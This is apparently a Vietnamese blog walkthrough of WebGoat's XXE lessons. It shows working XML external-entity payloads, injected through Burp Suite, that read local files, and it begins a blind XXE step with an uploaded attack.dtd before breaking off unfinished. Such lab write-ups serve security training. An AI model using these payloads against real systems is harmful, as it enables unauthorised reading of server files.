(A5) Security Misconfiguration - XXE - Webgoat

  • XXE (XML external entity) hay tấn công thực thể bên ngoài XML là lỗ hổng lợi dụng tính năng phân tích cú pháp của XML dùng để phân tích cú pháp đầu vào XML từ người dùng. Từ đó kẻ tấn công có thể truy cập đến các tệp cục bộ, chạy các lệnh, quét các dịch vụ và các cổng nội bộ, truy cập mạng nội bộ, từ đó có thể thực hiện 1 cuộc tấn công DOS đến máy chủ dễ bị khai thác

1. Let's try

  • Khởi động Brup Suite và mở WebGoat trong tình duyệt của Brup Suite:

alt

  • Bật Intercept trên Brup Suite.
  • Nhấn Submit trên WebGoat và mở Brup Suite xem ta sẽ thấy được Request:

alt

  • Thay đổi XML trong Request theo code bên dưới và nhấn Forward.
<?xml version="1.0"?>
<!DOCTYPE comment [<!ENTITY xxe SYSTEM "file:///C:/">]>
<comment>
   <text>&xxe;</text>
</comment>

alt

  • Sau đó quay trở lại WebGoat đã tự động cập nhật hoàn thành:

alt

2. Modern REST framework

  • Khởi động Brup Suite và mở WebGoat trong tình duyệt của Brup Suite:

alt

  • Bật Intercept trên Brup Suite.
  • Nhấn Submit trên WebGoat và mở Brup Suite xem ta sẽ thấy được Request:

alt

  • Thay đổi application/json trở thành application/xml, và thêm đoạn code XML bên dưới, sau đó nhấn Forward:
<?xml version="1.0"?>
<!DOCTYPE comment [<!ENTITY xxe SYSTEM "file:///C:/">]>
<comment>
   <text> &xxe;</text>
</comment>

alt

  • Sau đó quay trở lại WebGoat đã tự động cập nhật hoàn thành:

alt

3. Blind XXE assignment

  • Vào trang: http://127.0.0.1:9090/WebWolf/files

alt

  • Tạo một file tên là ** attack.dtd** (nội dung file là đoạn code bên dưới) và Upload nó lên WebWolf:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY attackxxe SYSTEM 'file:///C:\Users\asus\.webgoat-2023.8\XXE\theviblog\secret.txt'>

alt

  • Bật Intercept trên Brup Suite.
  • Nhấn Submit trên WebGoat, trên Brup Suite ta sẽ thấy được Request:

alt Còn tiếp...

Cảm ơn bạn đã đọc bài viết ! 🥰 🥰 🥰

Hãy nêu ý kiến của mình ở phần bình luận phía dưới nhé !

✨ Bài viết liên quan

Made by @thevi31415

© 2024 Nguyen Duong The Vi. All Rights Reserved.